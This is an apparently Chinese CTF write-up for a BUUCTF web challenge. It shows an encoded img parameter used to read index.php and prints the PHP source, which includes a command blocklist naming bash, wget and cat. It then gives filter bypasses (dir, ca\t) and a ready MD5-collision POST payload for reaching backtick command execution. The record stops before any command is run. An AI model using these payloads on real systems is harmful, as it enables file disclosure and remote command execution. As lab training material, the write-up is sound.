知识点:
1.base64加解密
2.md5加解密
3.md5碰撞绕过强类型比较
4.Linux命令绕过
进入页面发现url地址中存在 img参数和一个cmd参数,img参数看上去像是base64编码,可以去尝试一下解码.
进行了两次base64解密得到3535352e706e67看着像16进制那么在进行一次十六进制字符串转换得到555.png,像是文件读取漏洞.
我们可以尝试读取index.php的内容,对index.php进行一次16进制转换在进行2次base64加密
最终得到结果为TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
开始构造payload
http://2f95244f-7628-48a4-ba7d-3dc585b47cfd.node5.buuoj.cn:81/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=
将读取到的内容进行base64解码~
<?php
// 开启错误报告,但忽略E_NOTICE级别的错误
error_reporting(E_ALL || ~E_NOTICE);
// 设置内容类型为HTML,并指定字符集为UTF-8
header('content-type:text/html;charset=utf-8'); // 从GET请求中获取cmd参数
$cmd = $_GET['cmd']; // 检查是否同时设置了img和cmd参数,如果没有,则重定向回index.php并附带默认的img和空的cmd参数
if (!isset($_GET['img']) || !isset($_GET['cmd'])) { header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); exit; // 加上exit防止后续代码执行
} // 对GET请求中的img参数进行两次base64解码,然后hex2bin转换
$file = hex2bin(base64_decode(base64_decode($_GET['img']))); // 使用正则表达式清理$file变量,只保留字母、数字和小数点
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); // 检查清理后的$file变量是否包含'flag'字符串,如果包含,则显示一张图片并终止执行
if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixiï½ no flag");
} else { // 读取$file指向的文件内容,将其base64编码,并嵌入到HTML中以图片形式显示 // 注意:这里假设文件是GIF格式,但实际上可能不是,这可能导致浏览器无法正确显示图片 $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>";
} // 直接输出cmd参数的值
echo $cmd;
echo "<br>"; // 使用正则表达式检查cmd参数中是否包含可能被用于恶意命令执行的关键字
// 如果包含,则输出禁止信息
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>";
} else { // 检查POST请求中的a和b参数,如果它们字符串不相等但MD5哈希值相等,则执行cmd参数指定的命令 // 这利用了MD5哈希的某些特定输入(如数组或非常大的字符串)的碰撞特性 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; // 注意:这里直接使用反引号执行命令,存在严重的安全漏洞 } else { echo ("md5 is funny ~"); }
} // HTML部分,定义了页面的样式和背景图片
?>
<html>
<style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
开始代码审计~
<?php
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`; //将cmd当成系统命令执行并输出} else {echo ("md5 is funny ~");}
}?>
我们需要绕过两个关卡,首先是preg_match()绕过,其次就是md5强类型比较绕过~
preg_math()绕过Linux命令我们可以通过dir, ca\t 来绕过.
md5强类型比较绕过我们可以通过md5碰撞来绕过,但不能通过数组来绕过,因为这里用了string的强转换,所有数组会被转换为Array.
使用md5碰撞开始构造payload.
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
那么我们开始注入~